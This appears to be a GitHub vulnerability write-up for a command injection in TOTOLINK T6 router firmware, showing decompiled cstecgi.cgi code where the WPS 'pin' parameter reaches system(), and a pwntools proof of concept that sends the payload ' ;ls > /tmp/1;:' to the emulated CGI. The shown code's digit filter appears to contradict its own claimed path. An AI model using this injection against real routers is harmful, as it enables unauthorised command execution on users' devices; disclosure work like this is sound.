ᛘ main ▾

...

CVE / TOTOLINK_T6_V3 / **setWiFiWpsStart_1.md**

whiter6666 Create setWiFiWpsStart_1.md   ⊕ History

⧑ **1 contributor**

☰ 55 lines (34 sloc) │ 821 Bytes   ...

Command Injection

TOTOLINK_T6

version: V4.1.5cu.709_B20210518

Description:

There is a execute arbitrary command in cstecgi.cgi

Source:

you may download it from : http://www.totolink.cn/home/menu/detail.html?
menu_listtpl=download&id=16&ids=36

Analyse:

in sub_421AA0, pin get from mac ,and then v7->v16->v11->v15->v13

```
  }
  else
  {
    if ( !sub_421A18() )
      system("init.sh gw all");
    v5 = websGetVar(a1, "wscMode", &word_42C3DC);
    v6 = atoi(v5);
    sub_423058(0);
    if ( v6 == 1 )
    {
      v7 = websGetVar(a1, "pin", &word_42C3DC);
      memset(v15, 0, sizeof(v15));
      memset(v16, 0, 20);
      v8 = strlen(v7);
      strncpy(v16, v7, v8);
      v9 = 0;
      for ( i = 0; ; ++i )
      {
        v11 = &v16[i];
        if ( i >= strlen(v16) )
          break;
        if ( (unsigned __int8)(*v11 - 48) < 0xAu )
          v15[v9++] = *v11;
      }
      memset(v13, 0, sizeof(v13));
      if ( v3 )
        system("echo wlan1 >/var/wps_start_interface1");
      else
        system("echo wlan0 >/var/wps_start_interface0");
      sprintf(v13, "iwpriv %s set_mib pin=%s", (const char *)v12, v15);
      system(v13);
      sub_42772C((int)&word_42C3DC, (int)"reserv");
```

finally execute system

POC

```
from pwn import *
import json

data = {
    "topicurl": "setting/setWiFiWpsStart",
    "wscMode": "1",
    "pin": " ;ls > /tmp/1;:  "
}

data = json.dumps(data)
print(data)

argv = [
```

```
        "qemu-mipsel-static",
        "-g", "1234",
        "-L", "./root/",
        "-E", "CONTENT_LENGTH={}".format(len(data)),
        "-E", "REMOTE_ADDR=192.168.0.1",
        "./cstecgi.cgi"
]

a = process(argv=argv)
a.sendline(data.encode())

a.interactive()
```